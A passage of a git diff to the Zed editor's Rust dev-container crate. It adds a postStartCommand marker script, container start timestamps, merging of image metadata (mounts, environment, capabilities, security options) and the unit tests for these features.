+            let container_started = !docker_inspect.is_running();
+            if container_started {
                 log::debug!("Container not running. Will attempt to start, and then proceed");
-
                 match self.dev_container().build_type() {
                     DevContainerBuildType::DockerCompose => {
                         let resources = self.docker_compose_manifest().await?;
@@ -2193,6 +2452,7 @@ RUN sed -i -E 's/((^|\s)PATH=)([^\$]*)$/\1\${PATH:-\3}/g' /etc/profile || true
                     }
                     _ => self.docker_client.start_container(&docker_ps.id).await?,
                 }
+                docker_inspect = self.docker_client.inspect(&docker_ps.id).await?;
             }
 
             let remote_user = get_remote_user_from_config(&docker_inspect, self)?;
@@ -2202,6 +2462,10 @@ RUN sed -i -E 's/((^|\s)PATH=)([^\$]*)$/\1\${PATH:-\3}/g' /etc/profile || true
             let remote_env = self.runtime_remote_env(&docker_inspect.config.env_as_map()?)?;
 
             let dev_container_up = DevContainerUp {
+                started_at: docker_inspect
+                    .state
+                    .as_ref()
+                    .and_then(|state| state.started_at.clone()),
                 container_id: docker_ps.id,
                 remote_user: remote_user,
                 remote_workspace_folder: remote_folder.display().to_string(),
@@ -2209,7 +2473,8 @@ RUN sed -i -E 's/((^|\s)PATH=)([^\$]*)$/\1\${PATH:-\3}/g' /etc/profile || true
                 remote_env,
             };
 
-            self.run_remote_scripts(&dev_container_up, false).await?;
+            self.run_remote_scripts(&dev_container_up, false, container_started)
+                .await?;
 
             Ok(Some(dev_container_up))
         } else {
@@ -2472,8 +2737,13 @@ pub(crate) async fn spawn_dev_container(
 #[derive(Debug)]
 struct DockerBuildResources {
     image: DockerInspect,
+    image_tag: String,
     additional_mounts: Vec<MountDefinition>,
+    container_env: HashMap<String, String>,
     privileged: bool,
+    init: bool,
+    cap_add: Vec<String>,
+    security_opt: Vec<String>,
     entrypoint_script: Option<String>,
 }
 
@@ -2988,6 +3258,180 @@ fn get_container_user_from_config(
     Ok("root".to_string())
 }
 
+fn push_unique_string(values: &mut Vec<String>, value: &str) {
+    if !values.iter().any(|existing| existing == value) {
+        values.push(value.to_string());
+    }
+}
+
+fn append_mount_with_target_override(mounts: &mut Vec<MountDefinition>, mount: MountDefinition) {
+    mounts.retain(|existing| existing.target != mount.target);
+    mounts.push(mount);
+}
+
+fn mount_definition_from_metadata(value: &serde_json_lenient::Value) -> Option<MountDefinition> {
+    match value {
+        serde_json_lenient::Value::String(value) => parse_mount_definition_string(value),
+        serde_json_lenient::Value::Object(object) => {
+            let source = object
+                .get("source")
+                .or_else(|| object.get("src"))
+                .and_then(|value| value.as_str())
+                .map(str::to_string);
+            let target = object
+                .get("target")
+                .or_else(|| object.get("dst"))
+                .or_else(|| object.get("destination"))
+                .and_then(|value| value.as_str())?
+                .to_string();
+            let mount_type = object
+                .get("type")
+                .and_then(|value| value.as_str())
+                .map(str::to_string);
+            Some(MountDefinition {
+                source,
+                target,
+                mount_type,
+            })
+        }
+        _ => None,
+    }
+}
+
+fn parse_mount_definition_string(value: &str) -> Option<MountDefinition> {
+    let mut source = None;
+    let mut target = None;
+    let mut mount_type = None;
+
+    for part in value.split(',') {
+        let Some((key, value)) = part.trim().split_once('=') else {
+            continue;
+        };
+        match key.trim() {
+            "source" | "src" => source = Some(value.trim().to_string()),
+            "target" | "dst" | "destination" => target = Some(value.trim().to_string()),
+            "type" => mount_type = Some(value.trim().to_string()),
+            _ => {}
+        }
+    }
+
+    target.map(|target| MountDefinition {
+        source,
+        target,
+        mount_type,
+    })
+}
+
+fn escape_compose_interpolation(value: &str) -> String {
+    value.replace('$', "$$")
+}
+
+fn shell_single_quote(value: &str) -> String {
+    format!("'{}'", value.replace('\'', "'\\''"))
+}
+
+fn command_to_shell_string(command: &Command) -> String {
+    let mut command_parts = vec![command.get_program().display().to_string()];
+    command_parts.extend(command.get_args().map(|arg| arg.display().to_string()));
+    command_parts.join(" ")
+}
+
+fn post_start_marker_script(started_at: &str, script_commands: HashMap<String, Command>) -> String {
+    let started_at = shell_single_quote(started_at);
+    let mut script = format!(
+        r#"user_id="$(id -u)"
+home_directory="${{HOME:-}}"
+if [ -z "$home_directory" ]; then
+  home_directory="$( (command -v getent >/dev/null 2>&1 && getent passwd "$user_id" || grep -E "^[^:]*:[^:]*:${{user_id}}:" /etc/passwd || true) | head -n 1 | cut -d: -f6)"
+fi
+if [ -z "$home_directory" ]; then
+  home_directory=/root
+fi
+marker_directory="$home_directory/.devcontainer"
+marker="$marker_directory/.postStartCommandMarker"
+started_at={started_at}
+marker_available=false
+if mkdir -p "$marker_directory"; then
+  previous_started_at="$(cat "$marker" 2>/dev/null || true)"
+  if [ "$previous_started_at" = "$started_at" ]; then
+    exit 0
+  fi
+  marker_available=true
+fi
+"#,
+    );
+    for command in script_commands.into_values() {
+        script.push_str(&command_to_shell_string(&command));
+        script.push_str("\ncommand_status=$?\n");
+        script.push_str("[ \"$command_status\" -eq 0 ] || exit \"$command_status\"\n");
+    }
+    script.push_str(
+        r#"if [ "$marker_available" = "true" ]; then
+  printf '%s' "$started_at" > "$marker" || exit $?
+fi"#,
+    );
+    script
+}
+
+fn build_devcontainer_metadata_entry(
+    raw_json: &serde_json_lenient::Value,
+) -> serde_json_lenient::Map<String, serde_json_lenient::Value> {
+    use serde_json_lenient::Value;
+    static METADATA_PROPERTIES: &[&str] = &[
+        "onCreateCommand",
+        "updateContentCommand",
+        "postCreateCommand",
+        "postStartCommand",
+        "postAttachCommand",
+        "waitFor",
+        "customizations",
+        "mounts",
+        "containerEnv",
+        "containerUser",
+        "init",
+        "privileged",
+        "capAdd",
+        "securityOpt",
+        "remoteUser",
+        "userEnvProbe",
+        "remoteEnv",
+        "overrideCommand",
+        "portsAttributes",
+        "otherPortsAttributes",
+        "forwardPorts",
+        "shutdownAction",
+        "updateRemoteUserUID",
+        "hostRequirements",
+    ];
+
+    let Value::Object(full) = raw_json else {
+        return serde_json_lenient::Map::new();
+    };
+
+    full.iter()
+        .filter(|(key, value)| METADATA_PROPERTIES.contains(&key.as_str()) && !value.is_null())
+        .map(|(key, value)| (key.clone(), value.clone()))
+        .collect()
+}
+
+fn normalize_label_path(path: &str) -> String {
+    #[cfg(not(target_os = "windows"))]
+    {
+        path.to_string()
+    }
+    #[cfg(target_os = "windows")]
+    {
+        let normalized = path.replace('/', "\\");
+        if normalized.len() >= 2 && normalized.as_bytes()[1] == b':' {
+            let mut result = normalized[..1].to_lowercase();
+            result.push_str(&normalized[1..]);
+            result
+        } else {
+            normalized
+        }
+    }
+}
+
 #[cfg(test)]
 mod test {
     use std::{
@@ -2998,6 +3442,12 @@ mod test {
         sync::{Arc, Mutex},
     };
 
+    #[cfg(not(target_os = "windows"))]
+    use std::{
+        fs as std_fs,
+        time::{SystemTime, UNIX_EPOCH},
+    };
+
     use async_trait::async_trait;
     use fs::{FakeFs, Fs};
     use gpui::{AppContext, TestAppContext};
@@ -3010,18 +3460,16 @@ mod test {
     use serde_json_lenient::Value;
     use util::{command::Command, paths::SanitizedPath};
 
-    #[cfg(not(target_os = "windows"))]
-    use crate::docker::DockerComposeServicePort;
     use crate::{
         DevContainerConfig, DevContainerContext,
         command_json::CommandRunner,
-        devcontainer_api::DevContainerError,
+        devcontainer_api::{DevContainerError, DevContainerUp},
         devcontainer_json::MountDefinition,
         devcontainer_manifest::{
             ConfigStatus, DevContainerManifest, DockerBuildResources, DockerComposeResources,
-            DockerInspect, dockerfile_inject_alias, extract_feature_id, find_primary_service,
-            get_remote_user_from_config, image_from_dockerfile, is_local_feature_ref,
-            resolve_compose_dockerfile,
+            DockerInspect, dockerfile_inject_alias, escape_compose_interpolation,
+            extract_feature_id, find_primary_service, get_remote_user_from_config,
+            image_from_dockerfile, is_local_feature_ref, resolve_compose_dockerfile,
         },
         docker::{
             DockerClient, DockerComposeConfig, DockerComposeService, DockerComposeServiceBuild,
@@ -3286,8 +3734,13 @@ mod test {
                 mounts: None,
                 state: None,
             },
+            image_tag: "mcr.microsoft.com/devcontainers/base:ubuntu".to_string(),
             additional_mounts: vec![],
+            container_env: HashMap::new(),
             privileged: false,
+            init: false,
+            cap_add: vec!["SYS_PTRACE".to_string()],
+            security_opt: vec!["seccomp=unconfined".to_string()],
             entrypoint_script: Some("echo Container started\n    trap \"exit 0\" 15\n    exec \"$@\"\n    while sleep 1 & wait $!; do :; done".to_string()),
         };
         let docker_run_command = devcontainer_manifest.create_docker_run_command(build_resources);
@@ -3296,10 +3749,17 @@ mod test {
         let docker_run_command = docker_run_command.expect("ok");
 
         assert_eq!(docker_run_command.get_program(), "docker");
-        let expected_config_file_label = PathBuf::from(TEST_PROJECT_PATH)
+        let expected_local_folder_label = format!(
+            "devcontainer.local_folder={}",
+            super::normalize_label_path(TEST_PROJECT_PATH)
+        );
+        let expected_config_file_path = PathBuf::from(TEST_PROJECT_PATH)
             .join(".devcontainer")
             .join("devcontainer.json");
-        let expected_config_file_label = expected_config_file_label.display();
+        let expected_config_file_label = format!(
+            "devcontainer.config_file={}",
+            super::normalize_label_path(&expected_config_file_path.display().to_string())
+        );
         assert_eq!(
             docker_run_command.get_args().collect::<Vec<&OsStr>>(),
             vec![
@@ -3311,11 +3771,13 @@ mod test {
                     "type=bind,source={TEST_PROJECT_PATH},target=/workspaces/project,consistency=cached"
                 )),
                 OsStr::new("-l"),
-                OsStr::new(&format!("devcontainer.local_folder={TEST_PROJECT_PATH}")),
+                OsStr::new(&expected_local_folder_label),
                 OsStr::new("-l"),
-                OsStr::new(&format!(
-                    "devcontainer.config_file={expected_config_file_label}"
-                )),
+                OsStr::new(&expected_config_file_label),
+                OsStr::new("--cap-add"),
+                OsStr::new("SYS_PTRACE"),
+                OsStr::new("--security-opt"),
+                OsStr::new("seccomp=unconfined"),
                 OsStr::new("--entrypoint"),
                 OsStr::new("/bin/sh"),
                 OsStr::new("mcr.microsoft.com/devcontainers/base:ubuntu"),
@@ -3363,7 +3825,7 @@ mod test {
         };
 
         let resources = devcontainer_manifest
-            .build_merged_resources(base_image)
+            .build_merged_resources(base_image, "mcr.microsoft.com/devcontainers/base:ubuntu")
             .unwrap();
         assert!(
             resources.entrypoint_script.is_none(),
@@ -3384,6 +3846,302 @@ mod test {
         );
     }
 
+    #[gpui::test]
+    async fn should_substitute_nonremote_variables_in_image_metadata(cx: &mut TestAppContext) {
+        let (_, mut devcontainer_manifest) = init_default_devcontainer_manifest(
+            cx,
+            r#"{
+                "image": "mcr.microsoft.com/devcontainers/base:ubuntu"
+            }"#,
+        )
+        .await
+        .unwrap();
+        devcontainer_manifest.parse_nonremote_vars().unwrap();
+
+        let metadata = serde_json_lenient::from_str(
+            r#"[
+                {
+                    "id": "ghcr.io/devcontainers/features/docker-in-docker:2",
+                    "mounts": [
+                        {
+                            "source": "dind-var-lib-docker-${devcontainerId}",
+                            "target": "/var/lib/docker",
+                            "type": "volume"
+                        }
+                    ]
+                },
+                {
+                    "containerEnv": {
+                        "PATH": "/custom/bin:${PATH}"
+                    }
+                }
+            ]"#,
+        )
+        .unwrap();
+        let base_image = DockerInspect {
+            id: "base-image-id".to_string(),
+            config: DockerInspectConfig {
+                labels: DockerConfigLabels {
+                    metadata: Some(metadata),
+                },
+                image_user: None,
+                env: vec!["PATH=/usr/local/bin:/usr/bin".to_string()],
+            },
+            mounts: None,
+            state: None,
+        };
+
+        let resources = devcontainer_manifest
+            .build_merged_resources(base_image, "mcr.microsoft.com/devcontainers/base:ubuntu")
+            .unwrap();
+
+        assert_eq!(
+            resources.additional_mounts,
+            vec![MountDefinition {
+                source: Some(format!(
+                    "dind-var-lib-docker-{}",
+                    devcontainer_manifest.devcontainer_id()
+                )),
+                target: "/var/lib/docker".to_string(),
+                mount_type: Some("volume".to_string()),
+            }]
+        );
+        assert_eq!(
+            resources.container_env.get("PATH").map(String::as_str),
+            Some("/custom/bin:${PATH}")
+        );
+        let persisted_mount_source = resources
+            .image
+            .config
+            .labels
+            .metadata
+            .as_ref()
+            .and_then(|entries| entries.first())
+            .and_then(|entry| entry.get("mounts"))
+            .and_then(|mounts| mounts.as_array())
+            .and_then(|mounts| mounts.first())
+            .and_then(|mount| mount.get("source"))
+            .and_then(|source| source.as_str());
+        assert_eq!(
+            persisted_mount_source,
+            Some("dind-var-lib-docker-${devcontainerId}")
+        );
+    }
+
+    #[gpui::test]
+    async fn should_use_devcontainer_cli_post_start_marker_for_started_container(
+        cx: &mut TestAppContext,
+    ) {
+        let (test_dependencies, mut devcontainer_manifest) = init_default_devcontainer_manifest(
+            cx,
+            r#"{
+                "image": "test_image:latest",
+                "postStartCommand": "echo post-start",
+                "postAttachCommand": "echo post-attach"
+            }"#,
+        )
+        .await
+        .unwrap();
+        devcontainer_manifest.parse_nonremote_vars().unwrap();
+
+        let devcontainer_up = DevContainerUp {
+            started_at: Some("2026-06-23T10:00:00Z".to_string()),
+            container_id: "container".to_string(),
+            remote_user: "root".to_string(),
+            remote_workspace_folder: "/workspaces/project".to_string(),
+            extension_ids: Vec::new(),
+            remote_env: HashMap::new(),
+        };
+
+        devcontainer_manifest
+            .run_remote_scripts(&devcontainer_up, false, false)
+            .await
+            .unwrap();
+
+        let docker_exec_commands = test_dependencies
+            .docker
+            .exec_commands_recorded
+            .lock()
+            .unwrap();
+        assert_eq!(docker_exec_commands.len(), 2);
+        let post_start_script = docker_exec_commands[0]
+            ._inner_command
+            .get_program()
+            .to_string_lossy();
+        assert!(post_start_script.contains("marker_directory=\"$home_directory/.devcontainer\""));
+        assert!(post_start_script.contains("marker=\"$marker_directory/.postStartCommandMarker\""));
+        assert!(!post_start_script.contains("/tmp/zed-devcontainer"));
+        assert!(post_start_script.contains(
+            "echo post-start\ncommand_status=$?\n[ \"$command_status\" -eq 0 ] || exit \"$command_status\""
+        ));
+        assert!(
+            post_start_script.find("echo post-start").unwrap()
+                < post_start_script.find("printf '%s'").unwrap(),
+            "postStartCommand marker must be written only after the command succeeds"
+        );
+        assert_eq!(docker_exec_commands[1]._inner_command.get_program(), "echo");
+        assert_eq!(
+            docker_exec_commands[1]
+                ._inner_command
+                .get_args()
+                .collect::<Vec<_>>(),
+            vec![OsStr::new("post-attach")]
+        );
+    }
+
+    #[cfg(not(target_os = "windows"))]
+    #[test]
+    fn post_start_marker_script_runs_command_when_marker_directory_cannot_be_created() {
+        let mut command = Command::new("echo");
+        command.arg("post-start");
+        let script = super::post_start_marker_script(
+            "2026-06-23T10:00:00Z",
+            HashMap::from([("default".to_string(), command)]),
+        );
+
+        let output = run_shell_script(&script, Path::new("/dev/null"));
+
+        assert!(
+            output.status.success(),
+            "script should not fail when marker directory cannot be created: {}",
+            String::from_utf8_lossy(&output.stderr)
+        );
+        assert_eq!(String::from_utf8_lossy(&output.stdout), "post-start\n");
+    }
+
+    #[cfg(not(target_os = "windows"))]
+    #[test]
+    fn post_start_marker_script_accepts_background_command() {
+        let home_directory = temporary_home_directory("post-start-background");
+        let started_at = "2026-06-23T10:00:00Z";
+        let marker = home_directory
+            .join(".devcontainer")
+            .join(".postStartCommandMarker");
+        let mut command = Command::new("true");
+        command.arg("&");
+        let script = super::post_start_marker_script(
+            started_at,
+            HashMap::from([("default".to_string(), command)]),
+        );
+
+        let output = run_shell_script(&script, &home_directory);
+
+        assert!(
+            output.status.success(),
+            "background command should be accepted: {}",
+            String::from_utf8_lossy(&output.stderr)
+        );
+        assert_eq!(
+            std_fs::read_to_string(&marker).expect("marker should be written"),
+            started_at
+        );
+
+        std_fs::remove_dir_all(home_directory).expect("temporary home should be removed");
+    }
+
+    #[cfg(not(target_os = "windows"))]
+    #[test]
+    fn post_start_marker_script_marks_only_after_success() {
+        let home_directory = temporary_home_directory("post-start-success");
+        let started_at = "2026-06-23T10:00:00Z";
+        let marker = home_directory
+            .join(".devcontainer")
+            .join(".postStartCommandMarker");
+        let mut command = Command::new("echo");
+        command.arg("post-start");
+        let script = super::post_start_marker_script(
+            started_at,
+            HashMap::from([("default".to_string(), command)]),
+        );
+
+        let output = run_shell_script(&script, &home_directory);
+        assert!(
+            output.status.success(),
+            "script should run successfully: {}",
+            String::from_utf8_lossy(&output.stderr)
+        );
+        assert_eq!(String::from_utf8_lossy(&output.stdout), "post-start\n");
+        assert_eq!(
+            std_fs::read_to_string(&marker).expect("marker should be written"),
+            started_at
+        );
+
+        let output = run_shell_script(&script, &home_directory);
+        assert!(
+            output.status.success(),
+            "script should skip successfully: {}",
+            String::from_utf8_lossy(&output.stderr)
+        );
+        assert_eq!(String::from_utf8_lossy(&output.stdout), "");
+
+        std_fs::remove_dir_all(home_directory).expect("temporary home should be removed");
+    }
+
+    #[cfg(not(target_os = "windows"))]
+    #[test]
+    fn post_start_marker_script_surfaces_marker_write_failure() {
+        let home_directory = temporary_home_directory("post-start-marker-write-failure");
+        let marker = home_directory
+            .join(".devcontainer")
+            .join(".postStartCommandMarker");
+        std_fs::create_dir_all(&marker).expect("marker path should be a directory");
+        let mut command = Command::new("echo");
+        command.arg("post-start");
+        let script = super::post_start_marker_script(
+            "2026-06-23T10:00:00Z",
+            HashMap::from([("default".to_string(), command)]),
+        );
+
+        let output = run_shell_script(&script, &home_directory);
+
+        assert!(!output.status.success());
+        assert_eq!(String::from_utf8_lossy(&output.stdout), "post-start\n");
+        assert!(marker.is_dir());
+
+        std_fs::remove_dir_all(home_directory).expect("temporary home should be removed");
+    }
+
+    #[cfg(not(target_os = "windows"))]
+    #[test]
+    fn post_start_marker_script_does_not_mark_after_failure() {
+        let home_directory = temporary_home_directory("post-start-failure");
+        let marker = home_directory
+            .join(".devcontainer")
+            .join(".postStartCommandMarker");
+        let script = super::post_start_marker_script(
+            "2026-06-23T10:00:00Z",
+            HashMap::from([("default".to_string(), Command::new("false"))]),
+        );
+
+        let output = run_shell_script(&script, &home_directory);
+
+        assert!(!output.status.success());
+        assert!(!marker.exists());
+
+        std_fs::remove_dir_all(home_directory).expect("temporary home should be removed");
+    }
+
+    #[cfg(not(target_os = "windows"))]
+    fn run_shell_script(script: &str, home_directory: &Path) -> Output {
+        let mut command = Command::new("sh");
+        command.arg("-c").arg(script).env("HOME", home_directory);
+        gpui::block_on(command.output()).expect("shell should run postStartCommand marker script")
+    }
+
+    #[cfg(not(target_os = "windows"))]
+    fn temporary_home_directory(prefix: &str) -> PathBuf {
+        let now = SystemTime::now()
+            .duration_since(UNIX_EPOCH)
+            .expect("system time should be after unix epoch")
+            .as_nanos();
+        let path = std::env::temp_dir().join(format!(
+            "zed-devcontainer-{prefix}-{}-{now}",
+            std::process::id()
+        ));
+        std_fs::create_dir_all(&path).expect("temporary home should be created");
+        path
+    }
+
     #[gpui::test]
     async fn should_find_primary_service_in_docker_compose(cx: &mut TestAppContext) {
         // State where service not defined in dev container
@@ -3574,6 +4332,15 @@ mod test {
         );
     }
 
+    #[test]
+    fn escape_compose_interpolation_uses_compose_dollar_escape() {
+        assert_eq!(escape_compose_interpolation("pa$word"), "pa$$word");
+        assert_eq!(
+            escape_compose_interpolation("${containerEnv:PATH}"),
+            "$${containerEnv:PATH}"
+        );
+    }
+
     #[test]
     fn test_replace_environment_variables() {
         let replaced = DevContainerManifest::replace_environment_variables(
@@ -4004,42 +4771,52 @@ chmod +x ./install.sh
             .find(|c| c.args.get(0).is_some_and(|a| a == "run"))
             .expect("found");
 
+        let args = &docker_run_command.args;
+
+        assert!(args.contains(&"--cap-add".to_string()));
+        assert!(args.contains(&"SYS_PTRACE".to_string()));
+        assert!(args.contains(&"--security-opt".to_string()));
+        assert!(args.contains(&"seccomp=unconfined".to_string()));
+
+        let metadata_arg = args
+            .iter()
+            .find(|a| a.starts_with("devcontainer.metadata="))
+            .unwrap();
+        let metadata_json = &metadata_arg["devcontainer.metadata=".len()..];
+        let metadata: Vec<serde_json_lenient::Value> =
+            serde_json_lenient::from_str(metadata_json).unwrap();
+        assert_eq!(metadata.len(), 4);
+        assert_eq!(metadata[0]["remoteUser"], "node");
         assert_eq!(
-            docker_run_command.args,
-            vec![
-                "run".to_string(),
-                "--privileged".to_string(),
-                "--cap-add=SYS_PTRACE".to_string(),
-                "--sig-proxy=true".to_string(),
-                "-d".to_string(),
-                "--mount".to_string(),
-                "type=bind,source=/path/to/local/project,target=/workspace2,consistency=cached".to_string(),
-                "--mount".to_string(),
-                "type=volume,source=dev-containers-cli-bashhistory,target=/home/node/commandhistory,consistency=cached".to_string(),
-                "--mount".to_string(),
-                "type=volume,source=dind-var-lib-docker-42dad4b4ca7b8ced,target=/var/lib/docker,consistency=cached".to_string(),
-                "-l".to_string(),
-                "devcontainer.local_folder=/path/to/local/project".to_string(),
-                "-l".to_string(),
-                "devcontainer.config_file=/path/to/local/project/.devcontainer/devcontainer.json".to_string(),
-                "-l".to_string(),
-                "devcontainer.metadata=[{\"remoteUser\":\"node\"}]".to_string(),
-                "-p".to_string(),
-                "8082:8082".to_string(),
-                "-p".to_string(),
-                "8083:8083".to_string(),
-                "-p".to_string(),
-                "8084:8084".to_string(),
-                "-p".to_string(),
-                "8085:8086".to_string(),
-                "--entrypoint".to_string(),
-                "/bin/sh".to_string(),
-                "sha256:610e6cfca95280188b021774f8cf69dd6f49bdb6eebc34c5ee2010f4d51cc105".to_string(),
-                "-c".to_string(),
-                "echo Container started\ntrap \"exit 0\" 15\n/usr/local/share/docker-init.sh\nexec \"$@\"\nwhile sleep 1 & wait $!; do :; done".to_string(),
-                "-".to_string()
-            ]
+            metadata[1]["id"],
+            "ghcr.io/devcontainers/features/docker-in-docker:2"
+        );
+        assert_eq!(metadata[1]["privileged"], true);
+        assert!(metadata[1].get("containerEnv").is_none());
+        assert_eq!(metadata[2]["id"], "ghcr.io/devcontainers/features/go:1");
+        assert!(metadata[2].get("containerEnv").is_none());
+        assert!(
+            metadata[2]["capAdd"]
+                .as_array()
+                .unwrap()
+                .contains(&serde_json_lenient::Value::String("SYS_PTRACE".to_string()))
         );
+        assert_eq!(metadata[3]["remoteUser"], "node");
+        assert!(metadata[3].get("onCreateCommand").is_some());
+
+        let env_args: Vec<&String> = args
+            .iter()
+            .enumerate()
+            .filter(|(_, a)| *a == "-e")
+            .filter_map(|(i, _)| args.get(i + 1))
+            .collect();
+        assert!(env_args.contains(&&"VARIABLE_VALUE=value".to_string()));
+        assert!(!env_args.contains(&&"DOCKER_BUILDKIT=1".to_string()));
+        assert!(!env_args.contains(&&"GOPATH=/go".to_string()));
+        assert!(!env_args.contains(&&"GOROOT=/usr/local/go".to_string()));
+
+        let image_arg = args.iter().find(|a| a.contains("-features")).unwrap();
+        assert!(image_arg.ends_with("-features"));
 
         let docker_exec_commands = test_dependencies
             .docker
@@ -4334,71 +5111,57 @@ ENV DOCKER_BUILDKIT=1
             .expect("to be found");
         let runtime_override = test_dependencies.fs.load(runtime_override).await.unwrap();
 
-        let expected_runtime_override = DockerComposeConfig {
-            name: None,
-            services: HashMap::from([
-                (
-                    "app".to_string(),
-                    DockerComposeService {
-                        entrypoint: Some(vec![
-                            "/bin/sh".to_string(),
-                            "-c".to_string(),
-                            "echo Container started\ntrap \"exit 0\" 15\n/usr/local/share/docker-init.sh\nexec \"$@\"\nwhile sleep 1 & wait $!; do :; done".to_string(),
-                            "-".to_string(),
-                        ]),
-                        cap_add: Some(vec!["SYS_PTRACE".to_string()]),
-                        security_opt: Some(vec!["seccomp=unconfined".to_string()]),
-                        privileged: Some(true),
-                        labels: Some(HashMap::from([
-                            ("devcontainer.metadata".to_string(), "[{\"remoteUser\":\"vscode\"}]".to_string()),
-                            ("devcontainer.local_folder".to_string(), "/path/to/local/project".to_string()),
-                            ("devcontainer.config_file".to_string(), "/path/to/local/project/.devcontainer/devcontainer.json".to_string())
-                        ])),
-                        volumes: vec![
-                            MountDefinition {
-                                source: Some("dind-var-lib-docker-42dad4b4ca7b8ced".to_string()),
-                                target: "/var/lib/docker".to_string(),
-                                mount_type: Some("volume".to_string())
-                            }
-                        ],
-                        ..Default::default()
-                    },
-                ),
-                (
-                    "db".to_string(),
-                    DockerComposeService {
-                        ports: vec![
-                            DockerComposeServicePort {
-                                target: "8083".to_string(),
-                                published: "8083".to_string(),
-                                ..Default::default()
-                            },
-                            DockerComposeServicePort {
-                                target: "5432".to_string(),
-                                published: "5432".to_string(),
-                                ..Default::default()
-                            },
-                            DockerComposeServicePort {
-                                target: "1234".to_string(),
-                                published: "1234".to_string(),
-                                ..Default::default()
-                            },
-                        ],
-                        ..Default::default()
-                    },
-                ),
-            ]),
-            volumes: HashMap::from([(
-                "dind-var-lib-docker-42dad4b4ca7b8ced".to_string(),
-                DockerComposeVolume {
-                    name: Some("dind-var-lib-docker-42dad4b4ca7b8ced".to_string()),
-                },
-            )]),
-        };
+        let runtime_config: DockerComposeConfig =
+            serde_json_lenient::from_str(&runtime_override).unwrap();
+
+        let app_service = runtime_config.services.get("app").expect("app service");
+        assert_eq!(app_service.cap_add, Some(vec!["SYS_PTRACE".to_string()]));
+        assert_eq!(
+            app_service.security_opt,
+            Some(vec!["seccomp=unconfined".to_string()])
+        );
+        assert_eq!(app_service.privileged, Some(true));
+        assert!(app_service.entrypoint.is_some());
 
+        let labels = app_service.labels.as_ref().unwrap();
+        assert_eq!(
+            labels.get("devcontainer.local_folder").unwrap(),
+            "/path/to/local/project"
+        );
         assert_eq!(
-            serde_json_lenient::from_str::<DockerComposeConfig>(&runtime_override).unwrap(),
-            expected_runtime_override
+            labels.get("devcontainer.config_file").unwrap(),
+            "/path/to/local/project/.devcontainer/devcontainer.json"
+        );
+
+        let metadata_json = labels.get("devcontainer.metadata").unwrap();
+        let metadata: Vec<serde_json_lenient::Value> =
+            serde_json_lenient::from_str(metadata_json).unwrap();
+        assert!(metadata.len() >= 2);
+        assert_eq!(metadata[0]["remoteUser"], "vscode");
+        let has_dind_feature = metadata.iter().any(|e| {
+            e.get("id").and_then(|v| v.as_str())
+                == Some("ghcr.io/devcontainers/features/docker-in-docker:2")
+        });
+        assert!(
+            has_dind_feature,
+            "metadata should include docker-in-docker feature entry"
+        );
+        let has_forward_ports = metadata.iter().any(|e| e.get("forwardPorts").is_some());
+        assert!(
+            has_forward_ports,
+            "metadata should include devcontainer.json config entry with forwardPorts"
+        );
+
+        assert_eq!(app_service.volumes.len(), 1);
+        assert_eq!(app_service.volumes[0].target, "/var/lib/docker");
+
+        let db_service = runtime_config.services.get("db").expect("db service");
+        assert_eq!(db_service.ports.len(), 3);
+
+        assert!(
+            runtime_config
+                .volumes
+                .contains_key("dind-var-lib-docker-42dad4b4ca7b8ced")
         )
     }
 
@@ -6429,10 +7192,24 @@ RUN echo $RUBY_VERSION2
                         .to_string(),
                     config: DockerInspectConfig {
                         labels: DockerConfigLabels {
-                            metadata: Some(vec![HashMap::from([(
-                                "remoteUser".to_string(),
-                                Value::String("vscode".to_string()),
-                            )])]),
+                            metadata: Some(vec![
+                                HashMap::from([(
+                                    "remoteUser".to_string(),
+                                    Value::String("vscode".to_string()),
+                                )]),
+                                HashMap::from([
+                                    (
+                                        "capAdd".to_string(),
+                                        Value::Array(vec![Value::String("SYS_PTRACE".to_string())]),
+                                    ),
+                                    (
+                                        "securityOpt".to_string(),
+                                        Value::Array(vec![Value::String(
+                                            "seccomp=unconfined".to_string(),
+                                        )]),
+                                    ),
+                                ]),
+                            ]),
                         },
                         image_user: Some("root".to_string()),
                         env: Vec::new(),
@@ -6486,10 +7263,24 @@ RUN echo $RUBY_VERSION2
                         .to_string(),
                     config: DockerInspectConfig {
                         labels: DockerConfigLabels {
-                            metadata: Some(vec![HashMap::from([(
-                                "remoteUser".to_string(),
-                                Value::String("vscode".to_string()),
-                            )])]),
+                            metadata: Some(vec![
+                                HashMap::from([(
+                                    "remoteUser".to_string(),
+                                    Value::String("vscode".to_string()),
+                                )]),
+                                HashMap::from([
+                                    (
+                                        "capAdd".to_string(),
+                                        Value::Array(vec![Value::String("SYS_PTRACE".to_string())]),
+                                    ),
+                                    (
+                                        "securityOpt".to_string(),
+                                        Value::Array(vec![Value::String(
+                                            "seccomp=unconfined".to_string(),
+                                        )]),
+                                    ),
+                                ]),
+                            ]),
                         },
                         image_user: Some("root".to_string()),
                         env: Vec::new(),
diff --git a/crates/dev_container/src/docker.rs b/crates/dev_container/src/docker.rs
index 6e3e82dc76dbab..089564178d2099 100644
--- a/crates/dev_container/src/docker.rs
+++ b/crates/dev_container/src/docker.rs
@@ -21,6 +21,8 @@ pub(crate) struct DockerPs {
 #[serde(rename_all = "PascalCase")]
 pub(crate) struct DockerState {
     pub(crate) running: bool,
+    #[serde(default)]
+    pub(crate) started_at: Option<String>,
 }
 
 #[derive(Debug, Clone, Deserialize, Serialize, Eq, PartialEq)]
@@ -145,6 +147,8 @@ pub(crate) struct DockerComposeService {
     pub(crate) build: Option<DockerComposeServiceBuild>,
     #[serde(skip_serializing_if = "Option::is_none")]
     pub(crate) privileged: Option<bool>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub(crate) init: Option<bool>,
     #[serde(
         default,
         skip_serializing_if = "Vec::is_empty",
@@ -163,6 +167,12 @@ pub(crate) struct DockerComposeService {
         deserialize_with = "deserialize_nullable_vec"
     )]
     pub(crate) command: Vec<String>,
+    #[serde(
+        skip_serializing_if = "Option::is_none",
+        default,
+        deserialize_with = "deserialize_environment"
+    )]
+    pub(crate) environment: Option<HashMap<String, String>>,
 }
 
 #[derive(Debug, Clone, Deserialize, Serialize, Eq, PartialEq, Default)]
@@ -275,11 +285,17 @@ impl Docker {
 #[async_trait]
 impl DockerClient for Docker {
     async fn inspect(&self, id: &String) -> Result<DockerInspect, DevContainerError> {
-        // Try to pull the image, continue on failure; Image may be local only, id a reference to a running container
+        // Always try inspect first — avoid pulling unless necessary.
+        let command = self.create_docker_inspect(id);
+        match evaluate_json_command::<DockerInspect>(command).await {
+            Ok(Some(docker_inspect)) => return Ok(docker_inspect),
+            Ok(None) | Err(_) => {}
+        }
+
